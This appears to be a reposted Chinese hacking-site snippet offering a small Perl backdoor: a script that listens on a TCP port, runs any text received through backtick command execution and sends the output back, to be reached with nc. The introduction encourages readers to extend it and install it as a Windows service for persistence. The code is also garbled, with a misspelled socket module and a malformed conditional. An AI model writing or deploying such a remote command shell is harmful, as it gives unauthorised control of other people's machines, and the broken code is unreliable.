用nc连，使用了简易的管道命令（``）使之能执行基本的系统命令，有兴趣的朋友可以添加、修改一下，做出更多东西，谁有空建议用win32模块给他系统化一下，再用perlsvc做个服务啥的

#!/usr/bin/perl
use I:Socket;
$port = $ARGV[0];
my $socket = new I:Socket::INET ( ''Localhost''=>''127.0.0.1'' ,
 ''LocalPort''=>$port ,
 ''Listen''=>1 ,
 ''Proto''=>''tcp'' ,
 ''Reuse''=>1);
die "Reason: $!" unless $socket;
while (my $new_socket = $socket->accept()){
while (my $buffer=<$new_socket> ){
if ($buffer=~/exit/)
$res_msg=`$buffer`;
print $new_socket $res_msg."\n";
}}

文章来源地址：http://www.hackhome.com/html/wlcl/wlaq/2006/0610/26608.html